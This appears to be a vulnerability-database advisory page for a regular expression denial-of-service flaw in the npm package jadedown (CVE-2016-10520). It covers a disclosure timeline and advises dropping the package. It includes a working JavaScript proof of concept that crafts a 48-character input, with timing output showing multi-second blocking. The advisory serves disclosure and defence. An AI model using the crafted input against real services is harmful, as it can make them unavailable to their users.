Staging Environment: Content and features may be unstable or change without notice.
Advisory details: github_osv / GHSA-6354-6mhv-mvv5
Advisory ID github_osv/GHSA-6354-6mhv-mvv5
Aliases CVE-2016-10520
Summary Regular Expression Denial of Service in jadedown The `jadedown` package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in. ### Proof of concept ```js var jadedown = require('jadedown'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } for (i=1;i<=10000000;i=i+1) { console.log("COUNT: " + i); var str = genstr(i, 'f') + genstr(i, '#') + '{'; console.log("LENGTH: " + str.length); var start = process.hrtime(); jadedown(str) var end = process.hrtime(start); console.log(end); } ``` Results demonstrating blocking for 5 seconds using only 48 characters. ``` $ node jadedown.js COUNT: 1 LENGTH: 6 [ 0, 4014065 ] COUNT: 4 LENGTH: 12 [ 0, 503507 ] COUNT: 7 LENGTH: 18 [ 0, 325225 ] COUNT: 10 LENGTH: 24 [ 0, 1632684 ] COUNT: 13 LENGTH: 30 [ 0, 7541230 ] COUNT: 16 LENGTH: 36 [ 0, 80889495 ] COUNT: 19 LENGTH: 42 [ 0, 636009936 ] COUNT: 22 LENGTH: 48 [ 5, 820586760 ] ``` # Timeline - October 24, 2015 - Vulnerability Identified - October 24, 2015 - Maintainers Notified - October 25, 2015 - Response from Maintainers with intent to fix - January 5, 2016 - Advisory Published - January 11, 2016 - CVE Requested ## Recommendation This package is not actively maintained, and has not seen an update since 2011. The package also provides unique functionality in the form of a templating language that is not available elsewhere. If this package is used to process user input, the best available mitigation is to refactor the dependent application to not make use of this module.
Status Published
Exploitability 0.5
Weighted Severity 0.0
Risk
Affected and Fixed Packages Package Details
Introduced and Fixed Package Commit Patches Package Commit Patches Details
Weaknesses (0)
There are no known CWE.
System Score Found at
generic_textual LOW
Reference id Reference type URL
https://github.com/advisories/GHSA-6354-6mhv-mvv5
https://www.npmjs.com/advisories/52
CVE-2016-10520 https://nvd.nist.gov/vuln/detail/CVE-2016-10520

No exploits are available.

No EPSS data available for this advisory.

Patch URL
There are no known patches.

There are no known vectors.

There are no SSVC decisions available.